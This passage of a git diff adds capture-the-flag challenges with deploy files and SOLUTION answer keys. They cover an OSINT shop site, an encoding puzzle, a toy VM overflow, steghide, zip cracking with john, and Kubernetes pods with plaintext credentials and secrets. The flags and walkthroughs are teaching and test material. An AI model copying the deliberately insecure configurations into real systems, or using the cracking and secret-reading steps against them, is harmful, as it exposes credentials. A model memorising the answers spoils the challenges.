bowl. +Add salt to mixing bowl. +Put cacao powder into mixing bowl. +Remove salt from mixing bowl. +Put sugar into mixing bowl. +Put milk into mixing bowl. +Liquefy contents of the mixing bowl. +Pour contents of the mixing bowl into the 2nd baking dish. +Serve with sprinkles. + +Sprinkles. + +Ingredients. +76 g sugar +49 ml water +7 ml excess water +125 g brown sugar + +Method. +Clean mixing bowl. +Put brown sugar into mixing bowl. +Put sugar into mixing bowl. +Remove excess water from mixing bowl. +Put water into mixing bowl. +Put sugar into mixing bowl. +Liquefy contents of the mixing bowl. +Pour contents of the mixing bowl into the 3rd baking dish. + +Serves 3. \ No newline at end of file diff --git a/duck-store/PHYSICAL_INSTRUCTIONS.md b/duck-store/PHYSICAL_INSTRUCTIONS.md new file mode 100644 index 0000000..f70fe3a --- /dev/null +++ b/duck-store/PHYSICAL_INSTRUCTIONS.md @@ -0,0 +1,18 @@ +# Physical instructions + +WARNING THIS FILE CONTAINS (a part of) THE SOLUTION TO THE CHALLENGE. + +## Choose a location for the QR code +The goal of the (virtual) part of the challenge is to find a certain Twitter account. +This Twitter account `@duck_lover_111` should then contain a tweet with a picture of the location of a QR code. +The PDF document with the QR code that should be placed in this location is provided (`qrcode.pdf`). + + +Steps you need to take in order to hide the flag: +1. Print the PDF document containing the QR code. +1. Place the document somewhere in an accessible location on the campus. (make sure the location is easy to find for non-VUB students as well.) +1. Take a picture at the location (but don't show the QR code in the image, of course) +1. Tweet the picture with optionally a caption from the `@duck_lover_111` account. You can also geotag the tweet to make it easier to solve. (The main challenge is finding the twitter account.) + +## Twitter account credentials +Ask Seppe diff --git a/duck-store/README.md b/duck-store/README.md new file mode 100644 index 0000000..480021f --- /dev/null +++ b/duck-store/README.md @@ -0,0 +1,16 @@ +# Duck Store + +## Text +I've been looking online for some shops that sell rubber ducks. +This shop seems okay, can you check if they're legit? + +## Files +None, just the URL of the challenge + +## How to deploy +### Virtual part +Run the challenge using the provided docker compose file in `src/`. + +### Physical part +A part of this challenge involves scanning a QR Code, placed somewhere on the campus. +To avoid spoilers if you're solving this challenge at a later date, instructions can be found in `PHYSICAL_INSTRUCTIONS.md`. diff --git a/duck-store/SOLUTION.md b/duck-store/SOLUTION.md new file mode 100644 index 0000000..1506631 --- /dev/null +++ b/duck-store/SOLUTION.md @@ -0,0 +1,24 @@ +# Difficulty +Medium + +# How to solve +The website links to the Twitter account of the shop in multiple locations. (The footer, the about page, ...) + +When you visit [this Twitter account](https://twitter.com/TheIGDuckStore) `@TheIGDuckStore`, you need to investigate some of the tweets. + +There are two tweets, [first](https://twitter.com/TheIGDuckStore/status/1592953206707195905) and [second](https://twitter.com/TheIGDuckStore/status/1592953377436360705) which are liked by the `@duck_lover_111` account. + +The second tweet also has just one reply from this account. + +This account contains a tweet with a picture of the physical location of the flag. +A QR Code at this location will contain the flag. + +# Hints +## Hint #1 +Why do all these brands need to have a social media presence these days? Back in my day, ... + +## Hint #2 +Maybe doing some background checks on the store's customers can help you. + +# Flag +`IGCTF{Secr3t-Of-The-Ducks!}` diff --git a/duck-store/qrcode.pdf b/duck-store/qrcode.pdf new file mode 100644 index 0000000..1d6eaa6 Binary files /dev/null and b/duck-store/qrcode.pdf differ diff --git a/duck-store/src/Dockerfile b/duck-store/src/Dockerfile new file mode 100644 index 0000000..9b3dde1 --- /dev/null +++ b/duck-store/src/Dockerfile @@ -0,0 +1,6 @@ +FROM nginx + +RUN rm /etc/nginx/nginx.conf /etc/nginx/conf.d/default.conf + +COPY ./src/content /usr/share/nginx/html +COPY ./src/conf /etc/nginx \ No newline at end of file diff --git a/duck-store/src/docker-compose.yml b/duck-store/src/docker-compose.yml new file mode 100644 index 0000000..29f1238 --- /dev/null +++ b/duck-store/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + duck-store: + build: . + ports: + - 80:80 \ No newline at end of file diff --git a/duck-store/src/src/conf/nginx.conf b/duck-store/src/src/conf/nginx.conf new file mode 100644 index 0000000..2ad8d7f --- /dev/null +++ b/duck-store/src/src/conf/nginx.conf @@ -0,0 +1,26 @@ +events {} +http { + server { + listen 80; + listen [::]:80; + server_name localhost; + + location ~ ^/(flag|flag.txt)[/]? { + return 302 https://bit.ly/3SxEjGF; + } + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } + + #error_page 404 /404.html; + + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + } +} \ No newline at end of file diff --git a/duck-store/src/src/content/about.html b/duck-store/src/src/content/about.html new file mode 100644 index 0000000..e0a7b01 --- /dev/null +++ b/duck-store/src/src/content/about.html @@ -0,0 +1,106 @@ + + + + + + About + + + + +
+
+ + + The Duck Store™ + + + +
+
+ +
+
+
+

About us

+

+ Founded in 1981, The Duck Store™ has decades of experience in the + production and distribution of rubber ducks. +

+

+ We offer only the highest quality rubber ducks, using advanced + technologies that extend the lifespan of our ducks. +

+

+ We have received the Rubber Duck Durability Award (RDDA) 75 times, and + we are a member organisation of the Rubber Duck Vendor Association + (RDVA). +

+

+ For more information on new ducks, follow us on Twitter. +

+
+
+ + + + + + + +
+
+
+ © 2022 The Duck Store™, Inc +
+ + +
+
+ + + + diff --git a/duck-store/src/src/content/batman.png b/duck-store/src/src/content/batman.png new file mode 100644 index 0000000..7b4e649 Binary files /dev/null and b/duck-store/src/src/content/batman.png differ diff --git a/duck-store/src/src/content/big-duck.png b/duck-store/src/src/content/big-duck.png new file mode 100644 index 0000000..110b3ab Binary files /dev/null and b/duck-store/src/src/content/big-duck.png differ diff --git a/duck-store/src/src/content/birthday.png b/duck-store/src/src/content/birthday.png new file mode 100644 index 0000000..191ec2e Binary files /dev/null and b/duck-store/src/src/content/birthday.png differ diff --git a/duck-store/src/src/content/ducks.html b/duck-store/src/src/content/ducks.html new file mode 100644 index 0000000..d4f0c74 --- /dev/null +++ b/duck-store/src/src/content/ducks.html @@ -0,0 +1,180 @@ + + + + + + Our Ducks + + + + + +
+
+ + + The Duck Store™© + + + +
+
+ +
+ +
+
+
+
+

Our ducks

+

+ Discover our range of rubber ducks. We have ducks for winter, + autumn, summer and spring. No matter what time of year, there will + always be a duck that fits right in. +

+

+ Discover our ducks +

+
+
+
+ +
+
+
+
+
+ + +
+

+ No matter what time of year, these timeless ducks can be + used for any ocassion. +

+
+ €5/duck +
+
+
+
+ +
+
+ + +
+

+ Still looking for the perfect holiday gift? Our festive + ducks are now available. +

+
+ €10/duck +
+
+
+
+ +
+
+ + +
+

+ Get ready for 2023 with our new year themed ducks. +

+
+ €12.95/duck +
+
+
+
+ +
+
+ + +
+

+ Someone's birthday? Use our birthday themed ducks to + celebrate. +

+
+ €9.55/duck +
+
+
+
+ +
+
+ + +
+

+ Explore our line of superhero themed ducks. +

+
+ €25.95/duck +
+
+
+
+
+
+
+
+ + + + diff --git a/duck-store/src/src/content/ducks.png b/duck-store/src/src/content/ducks.png new file mode 100644 index 0000000..242d29f Binary files /dev/null and b/duck-store/src/src/content/ducks.png differ diff --git a/duck-store/src/src/content/faq.html b/duck-store/src/src/content/faq.html new file mode 100644 index 0000000..0682eb4 --- /dev/null +++ b/duck-store/src/src/content/faq.html @@ -0,0 +1,112 @@ + + + + + + FAQ + + + + +
+
+ + + The Duck Store™ + + + +
+
+ +
+ +
+
+

Are ducks from The Duck Store™ safe to use?

+

+ Our ducks adhere to the highest safety standards and are tested weekly + for hazardous chemical materials. +

+

Are the water resistant ducks available yet?

+

+ Due to the incredible demand for our new water resistant ducks, we + don't currently have an estimate on when these ducks will be available + for purchase. Please keep an eye on our Twitter for more information. +

+

How long do your ducks last?

+

+ Our ducks have an average lifespan of 10 years. +

+

+ What is your response to the recent allegations that ducks contain + materials dangerous for humans? +

+

No comment.

+
+
+ + + + + + + +
+
+
+ © 2022 The Duck Store™, Inc +
+ + +
+
+ + + + diff --git a/duck-store/src/src/content/favicon.ico b/duck-store/src/src/content/favicon.ico new file mode 100644 index 0000000..7a38537 Binary files /dev/null and b/duck-store/src/src/content/favicon.ico differ diff --git a/duck-store/src/src/content/holiday.png b/duck-store/src/src/content/holiday.png new file mode 100644 index 0000000..c5d4c5a Binary files /dev/null and b/duck-store/src/src/content/holiday.png differ diff --git a/duck-store/src/src/content/index.html b/duck-store/src/src/content/index.html new file mode 100644 index 0000000..9f34258 --- /dev/null +++ b/duck-store/src/src/content/index.html @@ -0,0 +1,257 @@ + + + + + + The Duck Store™ + + + + + +
+
+ + + The Duck Store™ + + + +
+
+ +
+ +
+ +

Belgium's largest duck store

+
+

+ Buy your ducks at The Duck Store™, Belgium's largest duck store. We + only sell the finest rubber ducks, handcrafted by our staff. By using + advanced technologies, we're pushing the boundaries of what a rubber + duck can be. +

+ +
+
+ + + +
+
+ +
+
+

+ Introducing our first water resistant ducks.
Now that's innovation. +

+

+ We're exicted to introduce our newest line of water resistant rubber + ducks. After decades of extensive research and development, our + first line of water resistant ducks are now available. The same + ducks you know and love, but now ready to endure even the harshest + environmental conditions. +

+
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + + +
+
+
+ © 2022 The Duck Store™, Inc +
+ + +
+
+ + + + diff --git a/duck-store/src/src/content/newyear.png b/duck-store/src/src/content/newyear.png new file mode 100644 index 0000000..db6deeb Binary files /dev/null and b/duck-store/src/src/content/newyear.png differ diff --git a/duck-store/src/src/content/pricing.html b/duck-store/src/src/content/pricing.html new file mode 100644 index 0000000..d2c539d --- /dev/null +++ b/duck-store/src/src/content/pricing.html @@ -0,0 +1,267 @@ + + + + + + Pricing + + + + +
+
+ + + The Duck Store™ + + + +
+
+ +
+ +
+
+

Pricing

+

+ Can't get enough of our ducks? Subscribe to get a weekly, monthly or + yearly duck. +

+
+ +
+
+
+
+
+

Yearly

+
+
+

+ €1/mo +

+
    +
  • 1 random duck/year
  • +
  • Standard shipping
  • +
  • Email support
  • +
  • Help center access
  • +
+
+
+
+
+
+
+

Monthly

+
+
+

+ €15/mo +

+
    +
  • 1 random duck/month
  • +
  • Priority shipping
  • +
  • Priority email support
  • +
  • Help center access
  • +
+
+
+
+
+
+
+

Weekly

+
+
+

+ €50/mo +

+
    +
  • 1 random duck/week
  • +
  • Express shipping
  • +
  • Phone and email support
  • +
  • Help center access
  • +
+
+
+
+
+ +

Compare plans

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
YearlyMonthlyWeekly
Normal ducks + + + + + + + + + + + +
Special ducks + + + + + + + + + + + +
Custom ducks + + + + + + + +
Birthday ducks + + + + + + + +
Swap for different duck + + + + + + + +
1 week warranty + + + +
+
+
+
+ + + + + + + + + + +
+
+
+ © 2022 The Duck Store™, Inc +
+ + +
+
+ + + + diff --git a/duck-store/src/src/content/rubber-duck-large.png b/duck-store/src/src/content/rubber-duck-large.png new file mode 100644 index 0000000..03bbfb4 Binary files /dev/null and b/duck-store/src/src/content/rubber-duck-large.png differ diff --git a/duck-store/src/src/content/rubber-duck.png b/duck-store/src/src/content/rubber-duck.png new file mode 100644 index 0000000..63b6a3f Binary files /dev/null and b/duck-store/src/src/content/rubber-duck.png differ diff --git a/duck-store/src/src/content/sea-of-ducks.jpg b/duck-store/src/src/content/sea-of-ducks.jpg new file mode 100644 index 0000000..151e11b Binary files /dev/null and b/duck-store/src/src/content/sea-of-ducks.jpg differ diff --git a/duck-store/src/src/content/star-fill.svg b/duck-store/src/src/content/star-fill.svg new file mode 100644 index 0000000..de09c4a --- /dev/null +++ b/duck-store/src/src/content/star-fill.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/full-stack-encryption/README.md b/full-stack-encryption/README.md new file mode 100644 index 0000000..455d910 --- /dev/null +++ b/full-stack-encryption/README.md @@ -0,0 +1,17 @@ +# Full stack encryption + +# Text +Hi there! I'm a full stack encrypter, I encrypt stuff for a living. +I recently encrypter my password using my custom framework, but I forgot it and now I'm trying to get it back. + +Can you help me out? +NTYgNTQgNTAgNDcgNTMgN2IgNTIgNjEgNGIgNjUgNmMgNDMgNjcgMzMgNTEgN2Q= + +Flag Format: IGCTF{...} +Author: Thomas (Dienst CTF) + +# Files +None + +# How to deploy +N/a diff --git a/full-stack-encryption/SOLUTION.md b/full-stack-encryption/SOLUTION.md new file mode 100644 index 0000000..3960ad5 --- /dev/null +++ b/full-stack-encryption/SOLUTION.md @@ -0,0 +1,9 @@ +# points + +medium 40 + +# How to solve +Users have to first decode from BASE 64, then decode from HEX and then apply the ROT 13 algorithm. + +# Flag +IGCTF{EnXryPt3D} diff --git a/hacking-the-cybernukes/README.md b/hacking-the-cybernukes/README.md new file mode 100644 index 0000000..1a090bd --- /dev/null +++ b/hacking-the-cybernukes/README.md @@ -0,0 +1,12 @@ +# Hacking the Cybernukes - Part 1 + +## Text +National Security has employed you to neutralise the cybernukes by the enemies. These are dangerous virtual rockets that will spam their victims with cat videos. More information can be found on https://youtu.be/K7Hn1rPQouU. + +In order to stop the cyber nukes, you will need to breach their firewall. For that, you will first need to find their password. Given is the source code they used for one of their authentication systems. It seems they left some debugging code in that displays the password. Can you get it to print out the password? The authentication software is running on the following connection . + +## Files +Participants get access to index.rkt + +## How to Deploy +Use provided Dockerfile. It will be hosted on port 3000, change it as you like... \ No newline at end of file diff --git a/hacking-the-cybernukes/SOLUTION.md b/hacking-the-cybernukes/SOLUTION.md new file mode 100644 index 0000000..904c569 --- /dev/null +++ b/hacking-the-cybernukes/SOLUTION.md @@ -0,0 +1,8 @@ +## Difficulty +Medium 50 points. Participants will have to analyse the code carefully, understand how data is added to the stack and understand all the machine instructions. + +## How To Solve +You need to buffer overflow using the password that you provide in order to overwrite the return address to point to the address that prints out the flag. A possible password that will do the trick is `password1`. Any password will suffice as long as it contains 8 arbitrary characters followed by a '1'. The ASCII value of 1 corresponds to the address you want to overwrite the return address with. + +## Flag +IGCTF{H4veY0uTr!edTurn1ng!tOffAndOnAg4in?} \ No newline at end of file diff --git a/hacking-the-cybernukes/src/Dockerfile b/hacking-the-cybernukes/src/Dockerfile new file mode 100644 index 0000000..e62b2e1 --- /dev/null +++ b/hacking-the-cybernukes/src/Dockerfile @@ -0,0 +1,20 @@ +FROM debian:bullseye + +RUN apt update -y && apt install -y lib32z1 xinetd racket + +RUN useradd -m ctf + +WORKDIR / +COPY index.rkt / + +COPY ./ctf.xinetd /etc/xinetd.d/ctf +COPY ./start.sh /start.sh + +ENV FLAG=IGCTF{H4veY0uTr!edTurn1ng!tOffAndOnAg4in?} + +RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail +RUN chmod +x start.sh + +CMD ["/start.sh"] + +EXPOSE 3000 diff --git a/hacking-the-cybernukes/src/ctf.xinetd b/hacking-the-cybernukes/src/ctf.xinetd new file mode 100644 index 0000000..95eef4a --- /dev/null +++ b/hacking-the-cybernukes/src/ctf.xinetd @@ -0,0 +1,21 @@ +service ctf +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = root + type = UNLISTED + port = 3000 + bind = 0.0.0.0 + server = /usr/sbin/chroot + server_args = --userspec=0:0 / racket /index.rkt + banner_fail = /etc/banner_fail + # safety options + per_source = 10 # the maximum instances of this service per source IP address + rlimit_cpu = 1 # the maximum number of CPU seconds that the service may use + #rlimit_as = 1024M # the Address Space resource limit for the service + log_type = SYSLOG authpriv + log_on_success = HOST PID + log_on_failure = HOST +} diff --git a/hacking-the-cybernukes/src/docker-compose.yml b/hacking-the-cybernukes/src/docker-compose.yml new file mode 100644 index 0000000..5a3869b --- /dev/null +++ b/hacking-the-cybernukes/src/docker-compose.yml @@ -0,0 +1,6 @@ +version: '3.9' +services: + hacking-the-cybernukes: + build: . + ports: + - 3000:3000 diff --git a/hacking-the-cybernukes/src/index.rkt b/hacking-the-cybernukes/src/index.rkt new file mode 100644 index 0000000..ac65db2 --- /dev/null +++ b/hacking-the-cybernukes/src/index.rkt @@ -0,0 +1,210 @@ +#lang racket + + +;;;; REGISTERS ;;;; +(define stack-pointer 20) +(define program-counter 0) +(define frame-pointer 0) +(define io-in 0) +(define cmp-res 0) + +;;;;;; STACK ;;;;;; + +(define word 8) +(define stack (make-vector 1024 #\nul)) + +(define (push value) + (let ([bytes (to-bytes value)]) + (let loop ([start (+ stack-pointer word)] + [byte-index 0]) + (if (< byte-index (vector-length bytes)) + (begin + (vector-set! stack (- start byte-index) (vector-ref bytes byte-index)) + (loop start (+ byte-index 1))) + (begin + (set! stack-pointer start)))) + )) + +(define (pop) + (let loop ([value (make-vector word #\nul)] + [stack-index stack-pointer] + [value-index 0]) + (if (< value-index word) + (begin + (vector-set! value value-index (vector-ref stack stack-index)) + (loop value (- stack-index 1) (+ value-index 1))) + (begin + (set! stack-pointer stack-index) + + value)))) + +(define (to-bytes sth) + (cond + [(vector? sth) sth] + [(string? sth) (list->vector (map char->integer (string->list sth)))] + [(number? sth) (let loop ([value sth] + [remainders '()]) + (if (> value 0) + (loop (quotient value 2) (cons (remainder value 2) remainders)) + (let loop ([to-pad (- 64 (length remainders))] + [result remainders]) + (if (> to-pad 0) + (loop (- to-pad 1) (cons 0 result)) + (let loop ([to-split result] + [splitted '()]) + (if (not (empty? to-split)) + (loop (drop to-split 8) (cons (take to-split 8) splitted)) + (list->vector (map + (lambda (list-of-bits) + (let loop ([index 0] + [res 0]) + (if (< index (length list-of-bits)) + (loop (+ index 1) (+ res (* (list-ref (reverse list-of-bits) index) (expt 2 index)))) + res))) + (reverse splitted)))))))))])) + +(define (bytes->number bytes) + (foldl + 0 (vector->list bytes)) +) + + +;;;;;; PROGRAM ;;;;;; + +(define program (make-vector 1024 #\nul)) + +;;;;;; PROCEDURES ;;;;;; + +(define (io-read string) + (display string) + (let ([value (list->vector (map char->integer (string->list (symbol->string (read)))))]) + (mov "io-in" value))) + +(define (io-write string) + (display string)) + +(define (jump address) + (mov "program-counter" address) + #f +) + +(define (mov register value) + (cond + [(eq? register "stack-pointer") (set! stack-pointer value)] + [(eq? register "program-counter") (set! program-counter value)] + [(eq? register "frame-pointer") (set! frame-pointer value)] + [(eq? register "io-in") (set! io-in value)] + [(eq? register "cmp-res") (set! cmp-res value)] + ) +) + +(define (push-register register) + (cond + [(eq? register "stack-pointer") (push stack-pointer)] + [(eq? register "program-counter") (push program-counter)] + [(eq? register "frame-pointer") (push frame-pointer)] + [(eq? register "io-in") (push io-in)] + [(eq? register "cmp-res") (push cmp-res)] + ) +) + +(define (call address) + (push program-counter) + (set! frame-pointer stack-pointer) + (jump address) +) + +(define (pwd-cmp) + (let ([given-pwd (pop)]) + (if (eq? given-pwd (flag)) + (mov "cmp-res" 1) + (mov "cmp-res" 0) + ) + ) +) + +(define (ifz address) + (when (eq? cmp-res 0) + (jump address) + ) +) + +(define (ret) + (let loop () + (unless (= stack-pointer frame-pointer) + (pop) + (loop) + ) + ) + (let ([restore-program-counter (bytes->number (pop))]) + (set! program-counter restore-program-counter) + ) +) + +(define (instruction-call cmd . arg) + (cond + [(eq? cmd "io-read") (io-read (list-ref arg 0))] + [(eq? cmd "io-write") (io-write (list-ref arg 0))] + [(eq? cmd "push") (push (list-ref arg 0))] + [(eq? cmd "push-register") (push-register (list-ref arg 0))] + [(eq? cmd "pop") (pop)] + [(eq? cmd "mov") (mov (list-ref arg 0) (list-ref arg 1))] + [(eq? cmd "jump") (jump (list-ref arg 0))] + [(eq? cmd "call") (call (list-ref arg 0))] + [(eq? cmd "ret") (ret)] + [(eq? cmd "pwd-cmp") (pwd-cmp)] + [(eq? cmd "ifz") (ifz (list-ref arg 0))] + ) +) + + +(define (flag) + (if (getenv "FLAG") (getenv "FLAG") "NO-FLAG-DEFINED")) + +(define (run) + (let ((value (vector-ref program program-counter))) + (unless (eq? value #\nul) + (unless (eq? (apply instruction-call value) #f) + (set! program-counter (+ program-counter 1)) + ) + (run) + ) + ) +) + +(define (debug) + (displayln stack) + (display "stack-pointer: ")(displayln stack-pointer) + (display "program-counter: ")(displayln program-counter) + (display "frame-pointer:")(displayln frame-pointer) + (display "io-in: ")(displayln io-in) + (display "cmp-res: ")(displayln cmp-res) + (displayln "-------------------") +) + +(define (write idx cmd . arg) + (vector-set! program idx (cons cmd arg)) +) + +;;;;;;;PROGRAM DEFINITION;;;;;;; + +;;;main +(write 0 "call" 10) + + +(write 10 "io-read" "Enter password:") +(write 11 "push-register" "io-in") +(write 12 "pwd-cmp") +(write 13 "ifz" 16) +(write 14 "io-write" "Successfully logged in") +(write 15 "ret") + +(write 16 "io-write" "Wrong password...") +(write 17 "ret") + +(write 50 "io-write" (flag)) + + + + + +(run) \ No newline at end of file diff --git a/hacking-the-cybernukes/src/start.sh b/hacking-the-cybernukes/src/start.sh new file mode 100644 index 0000000..c1dea2e --- /dev/null +++ b/hacking-the-cybernukes/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +/etc/init.d/xinetd start; +sleep infinity; diff --git a/im-pickle-rick/README.md b/im-pickle-rick/README.md new file mode 100644 index 0000000..39d874e --- /dev/null +++ b/im-pickle-rick/README.md @@ -0,0 +1,5 @@ +# Text +Hi this is a challenge description. Here's an image. Enjoy :) + +# Files +flag.png should be included in the challenge diff --git a/im-pickle-rick/SOLUTION.md b/im-pickle-rick/SOLUTION.md new file mode 100644 index 0000000..82dfe32 --- /dev/null +++ b/im-pickle-rick/SOLUTION.md @@ -0,0 +1,10 @@ +# Solution +Just extract data from the image using steghide. + +The following command will extract the data "steghide --extract -sf flag.png" + + +possible hint: I heard rick isn't too fond of passwords and hidden data... anyways.. + +# flag +IGCTF{HiThisIsTheFlag:)} \ No newline at end of file diff --git a/im-pickle-rick/flag.jpg b/im-pickle-rick/flag.jpg new file mode 100644 index 0000000..2d60748 Binary files /dev/null and b/im-pickle-rick/flag.jpg differ diff --git a/inziption/A b/inziption/A new file mode 100644 index 0000000..3dd7569 Binary files /dev/null and b/inziption/A differ diff --git a/inziption/README.md b/inziption/README.md new file mode 100644 index 0000000..b4718b7 --- /dev/null +++ b/inziption/README.md @@ -0,0 +1,7 @@ +# Inziption +## Text +A mysterious file, what could it contain? Maybe more mysterious files, I wonder what those would contain? And what about those new files? Only one way to find out! +## Files +A +## How to Deploy +/ diff --git a/inziption/SOLUTION.md b/inziption/SOLUTION.md new file mode 100644 index 0000000..89cf926 --- /dev/null +++ b/inziption/SOLUTION.md @@ -0,0 +1,13 @@ +## Difficulty +Easy, 20 points + +## How To Solve +Initial file is a zip file, which contains a series of zip files. +Eventually, you'll get to E.zip, which is a password protected zipfile. +You can crack this with John The Ripper: +1. `zip2john E.zip > out.hash` +2. `john out.hash --wordlist=rockyou.txt` +3. `cat flag` + +## Flag +IGCTF{Z1pp3dT0P1eces} diff --git a/k8s_easter_eggs/README.md b/k8s_easter_eggs/README.md new file mode 100644 index 0000000..8b587e6 --- /dev/null +++ b/k8s_easter_eggs/README.md @@ -0,0 +1,24 @@ +# K8S Easter Eggs + +## Text +Kubernetes (K8S for short) is a tool that allows you to deploy and scale your +applications. It is used by major companies around the world, and major +companies love nothing more than leaving behind gaping security +vulnerabilities on their instances! + +You are given access to a Kubernetes instance, in which some poor security +decisions were made. Get on a scavenger hunt to find all 5 of them! + +New to Kubernetes? You can consult its documentation +[here](https://kubernetes.io/docs/concepts/). These are some commands to get you started: [cheat sheet](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). + +Don't forget to install kubectl and move the config file into +`~/.kube/`. + +Ask one of the organisers in case you suspect a challenge is broken. + +## Files +~/.kube/config + +## How to Deploy +Handled by Klarrio :tm::copyright: diff --git a/k8s_easter_eggs/SOLUTION.md b/k8s_easter_eggs/SOLUTION.md new file mode 100644 index 0000000..7912be5 --- /dev/null +++ b/k8s_easter_eggs/SOLUTION.md @@ -0,0 +1 @@ +See individual directories \ No newline at end of file diff --git a/k8s_easter_eggs/part1/README.md b/k8s_easter_eggs/part1/README.md new file mode 100644 index 0000000..6dfcd1a --- /dev/null +++ b/k8s_easter_eggs/part1/README.md @@ -0,0 +1,4 @@ +# K8S Easter Eggs 1 + +## Text +In a namespace, far, far away... \ No newline at end of file diff --git a/k8s_easter_eggs/part1/SOLUTION.md b/k8s_easter_eggs/part1/SOLUTION.md new file mode 100644 index 0000000..79a6230 --- /dev/null +++ b/k8s_easter_eggs/part1/SOLUTION.md @@ -0,0 +1,16 @@ +## Difficulty +Easy + +## How to Solve +There's pods running in a namespace, with a simple application deployed. +Database credentials are passed as environment variables, one of them is the +flag. + +```bash +kubectl get namespaces +kubectl get pods -n my-first-project +kubectl describe pod racket-toolkit-ff9d65f5d-jhx9t -n my-first-project +``` + +## Flag +IGCTF-KLARRIO{save_the_environment!} diff --git a/k8s_easter_eggs/part1/challenge.yaml b/k8s_easter_eggs/part1/challenge.yaml new file mode 100644 index 0000000..b399c64 --- /dev/null +++ b/k8s_easter_eggs/part1/challenge.yaml @@ -0,0 +1,36 @@ +apiVersion: v1 +kind: Namespace +metadata: + name: my-first-project + labels: + name: my-first-project +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: racket-toolkit + namespace: my-first-project + labels: + app: racket-toolkit +spec: + replicas: 1 + selector: + matchLabels: + app: racket-toolkit + template: + metadata: + labels: + app: racket-toolkit + spec: + containers: + - name: racket-toolkit + image: racket/racket:8.6 + command: ["sleep"] + args: ["infinity"] + env: + - name: DATABASE_PASSWORD + value: IGCTF-KLARRIO{save_the_environment!} + - name: DATABASE_USERNAME + value: klarrio + - name: DATABASE_NAME + value: klarrio diff --git a/k8s_easter_eggs/part2/README.md b/k8s_easter_eggs/part2/README.md new file mode 100644 index 0000000..382a4d9 --- /dev/null +++ b/k8s_easter_eggs/part2/README.md @@ -0,0 +1,4 @@ +# K8S Easter Eggs 2 + +## Text +Wanna hear my biggest secret...? \ No newline at end of file diff --git a/k8s_easter_eggs/part2/SOLUTON.md b/k8s_easter_eggs/part2/SOLUTON.md new file mode 100644 index 0000000..f1bddf5 --- /dev/null +++ b/k8s_easter_eggs/part2/SOLUTON.md @@ -0,0 +1,8 @@ +## Difficulty +Easy + +## How to Solve +`kubectl get pods` in default namespace, then describe the `haskell-deployment` pod. You will see a reference made to a secret. Get the secret with `kubectl get secret supersecret -o yaml`, grab the base64 and convert it. + +## Flag +IGCTF-KLARRIO{dont_peek_in_other_peoples_secrets!} \ No newline at end of file diff --git a/k8s_easter_eggs/part2/challenge.yaml b/k8s_easter_eggs/part2/challenge.yaml new file mode 100644 index 0000000..ca52b8a --- /dev/null +++ b/k8s_easter_eggs/part2/challenge.yaml @@ -0,0 +1,36 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: haskell-deployment + labels: + app: haskell +spec: + replicas: 1 + selector: + matchLabels: + app: haskell + template: + metadata: + labels: + app: haskell + spec: + containers: + - name: haskell + image: haskell + command: ["sleep"] + args: ["infinity"] + env: + - name: SECRET_SAUCE_RECIPE + valueFrom: + secretKeyRef: + name: supersecret + key: flag +--- +apiVersion: v1 +data: + flag: 'SUdDVEYtS0xBUlJJT3tkb250X3BlZWtfaW5fb3RoZXJfcGVvcGxlc19zZWNyZXRzIX0K' +kind: Secret +metadata: + name: supersecret + namespace: default +type: Opaque diff --git a/k8s_easter_eggs/part3/Dockerfile b/k8s_easter_eggs/part3/Dockerfile new file mode 100644 index 0000000..543a03f --- /dev/null +++ b/k8s_easter_eggs/part3/Dockerfile @@ -0,0 +1,14 @@ +FROM library/postgres + +ENV POSTGRES_DB=klarrio +ENV POSTGRES_USER=admin +ENV POSTGRES_PASSWORD=hbfdmMtWuhctJuwB +ENV POSTGRES_HOST_AUTH_METHOD=scram-sha-256 +ENV POSTGRES_INITDB_ARGS=--auth-host=scram-sha-256 + +RUN echo 'set +o history' >> /etc/profile && echo 'set +o history' >> /root/.bashrc + +COPY init.sql init.sh /docker-entrypoint-initdb.d/ +COPY psqlrc /root/.psqlrc + +USER patrick diff --git a/k8s_easter_eggs/part3/README.md b/k8s_easter_eggs/part3/README.md new file mode 100644 index 0000000..8bcf483 --- /dev/null +++ b/k8s_easter_eggs/part3/README.md @@ -0,0 +1,4 @@ +# K8S Easter Eggs 3 + +## Text +toot toot diff --git a/k8s_easter_eggs/part3/SOLUTION.md b/k8s_easter_eggs/part3/SOLUTION.md new file mode 100644 index 0000000..cc96bcc --- /dev/null +++ b/k8s_easter_eggs/part3/SOLUTION.md @@ -0,0 +1,15 @@ +## Difficulty +Medium + +## How to Solve +Exec into database pod with password the from flag 1. Find flag in database. + +```bash +kubectl get pods -n my-first-project # Use the id of the postgres pod in the next command +kubectl exec -it -n my-first-project postgres-c7b99567f-tbf9b -- /bin/bash +psql --user klarrio # use flag from challenge 1 +select * from flags; # table can be found with `\dt` +``` + +## Flag +IGCTF-KLARRIO{lets_all_love_postgres} diff --git a/k8s_easter_eggs/part3/init.sh b/k8s_easter_eggs/part3/init.sh new file mode 100755 index 0000000..d035ae1 --- /dev/null +++ b/k8s_easter_eggs/part3/init.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +cat << EOF > /var/lib/postgresql/data/pg_hba.conf +# TYPE DATABASE USER ADDRESS METHOD +local all all scram-sha-256 +EOF + diff --git a/k8s_easter_eggs/part3/init.sql b/k8s_easter_eggs/part3/init.sql new file mode 100644 index 0000000..72dbc52 --- /dev/null +++ b/k8s_easter_eggs/part3/init.sql @@ -0,0 +1,5 @@ +CREATE USER klarrio PASSWORD 'IGCTF-KLARRIO{save_the_environment!}'; +GRANT CONNECT ON DATABASE klarrio TO klarrio; +CREATE TABLE flags (flag text); +INSERT INTO flags VALUES ('IGCTF-KLARRIO{lets_all_love_postgres}'); +GRANT SELECT ON TABLE flags TO klarrio; diff --git a/k8s_easter_eggs/part3/postgres.yaml b/k8s_easter_eggs/part3/postgres.yaml new file mode 100644 index 0000000..66ee7f1 --- /dev/null +++ 